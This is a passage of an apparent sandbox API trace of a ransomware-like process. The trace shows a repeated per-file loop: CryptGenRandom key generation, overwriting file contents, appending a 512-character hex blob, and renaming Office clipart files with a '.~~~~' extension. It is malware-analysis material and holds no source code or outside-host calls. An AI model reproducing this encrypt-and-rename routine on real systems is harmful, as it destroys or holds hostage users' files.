	[0090.201] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.201] CloseHandle (hObject=0x128) returned 1
	[0090.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.~~~~")) returned 1
	[0090.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.202] GetLastError () returned 0x0
	[0090.202] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.203] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.203] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.203] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21019342376) returned 1
	[0090.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f8a6030, dwHighDateTime=0x1d60e1e)) 
	[0090.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800e8
	[0090.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800e8 | out: hHeap=0x300000) returned 1
	[0090.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f200
	[0090.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.204] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.204] GetLastError () returned 0x0
	[0090.204] GetLastError () returned 0x0
	[0090.204] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.204] GetLastError () returned 0x0
	[0090.204] GetLastError () returned 0x0
	[0090.235] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff950, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.235] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x6b0, lpOverlapped=0x0) returned 1
	[0090.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.235] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.235] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.242] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.242] CloseHandle (hObject=0x128) returned 1
	[0090.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.~~~~")) returned 1
	[0090.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.244] GetLastError () returned 0x0
	[0090.244] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.251] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.251] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.251] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21024119239) returned 1
	[0090.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f918450, dwHighDateTime=0x1d60e1e)) 
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380238
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380238 | out: hHeap=0x300000) returned 1
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fccf8
	[0090.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.252] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.252] GetLastError () returned 0x0
	[0090.252] GetLastError () returned 0x0
	[0090.252] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.252] GetLastError () returned 0x0
	[0090.252] GetLastError () returned 0x0
	[0090.286] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffb44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.286] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4bc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x4bc, lpOverlapped=0x0) returned 1
	[0090.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.286] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.286] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.286] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.287] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.287] CloseHandle (hObject=0x128) returned 1
	[0090.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d02b8
	[0090.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.~~~~")) returned 1
	[0090.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.287] GetLastError () returned 0x0
	[0090.288] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.289] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.289] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.289] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21027935705) returned 1
	[0090.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f98a870, dwHighDateTime=0x1d60e1e)) 
	[0090.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380388
	[0090.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380388 | out: hHeap=0x300000) returned 1
	[0090.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0090.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28700a0
	[0090.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.290] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.290] GetLastError () returned 0x0
	[0090.290] GetLastError () returned 0x0
	[0090.290] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.290] GetLastError () returned 0x0
	[0090.290] GetLastError () returned 0x0
	[0090.353] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff0c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.353] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0xf38, lpOverlapped=0x0) returned 1
	[0090.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.354] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.355] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.355] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.355] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.355] CloseHandle (hObject=0x128) returned 1
	[0090.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.~~~~")) returned 1
	[0090.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.356] GetLastError () returned 0x0
	[0090.357] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.358] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.358] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.359] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21034873360) returned 1
	[0090.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9fa22df0, dwHighDateTime=0x1d60e1e)) 
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3804d8
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3804d8 | out: hHeap=0x300000) returned 1
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870268
	[0090.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.359] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.360] GetLastError () returned 0x0
	[0090.360] GetLastError () returned 0x0
	[0090.360] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.360] GetLastError () returned 0x0
	[0090.360] GetLastError () returned 0x0
	[0090.420] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc56c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.420] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3a94, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x3a94, lpOverlapped=0x0) returned 1
	[0090.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.422] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.422] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.422] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.422] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.423] CloseHandle (hObject=0x128) returned 1
	[0090.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.~~~~")) returned 1
	[0090.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.424] GetLastError () returned 0x0
	[0090.430] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0090.430] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.430] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.430] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21042059384) returned 1
	[0090.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9fae14d0, dwHighDateTime=0x1d60e1e)) 
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380580
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380580 | out: hHeap=0x300000) returned 1
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28705f8
	[0090.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.431] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.431] GetLastError () returned 0x0
	[0090.431] GetLastError () returned 0x0
	[0090.431] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.431] GetLastError () returned 0x0
	[0090.431] GetLastError () returned 0x0
	[0090.457] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff68a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.457] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x976, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x976, lpOverlapped=0x0) returned 1
	[0090.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.460] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.460] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
